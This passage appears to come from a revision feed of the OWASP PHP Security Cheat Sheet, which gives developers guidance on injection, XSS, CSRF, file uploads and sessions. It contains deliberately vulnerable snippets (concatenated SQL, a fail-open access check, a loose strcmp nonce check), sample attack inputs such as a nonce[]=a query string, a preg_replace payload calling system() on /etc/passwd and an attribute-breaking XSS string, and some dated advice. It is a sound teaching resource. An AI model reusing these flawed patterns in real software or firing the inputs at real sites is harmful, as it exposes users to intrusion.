You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
[mailto:L.Plant.98@cantab.net Luke Plant]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Roy Vanegas</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=187494</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=187494"/>
				<updated>2015-01-03T21:55:58Z</updated>
		
		<summary type="html">&lt;p&gt;Roy Vanegas: Combined paragraphs 1 and 2 under “Unhelpful builtins” into one paragraph.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the language. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
PHP is a 'grown' language rather than deliberately engineered, making writing insecure PHP applications far too easy and common. If you want to use PHP securely, then you should be aware of all it's pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In many other languages, and most high level languages that compete with PHP, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature($current_user) {&lt;br /&gt;
        global $db_link;&lt;br /&gt;
        $username = mysqli_real_escape_string($db_link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($db_link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature($current_user)) {&lt;br /&gt;
        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
If these native database APIs are used, error checking should be added at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate.&lt;br /&gt;
This is why accessing a database should always be done by using [http://php.net/manual/en/intro.pdo.php PHP Data Objects (PDO)] specified with the [http://php.net/manual/en/pdo.error-handling.php ERRMODE_WARNING or ERRMODE_EXCEPTION flags] unless there is a clearly compelling reason to use native drivers and careful error checking.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems. Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
PHP also provides an 'array' data structure, which is used extensively in all PHP code and internally, that is a confusing mix between an array and a dictionary. This confusion can cause even experienced PHP developers to introduce critical security vulnerabilities such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] (see [http://cgit.drupalcode.org/drupal/commit/?id=26a7752c34321fd9cb889308f507ca6bdb777f08 the patch]).&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
Exactly the same issue, combined with the confusion of PHP's 'array' data structure, can be exploited in issues such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] - see [http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo example exploit].&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you should use query builder that is provided by a framework. Do not roll your own.&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
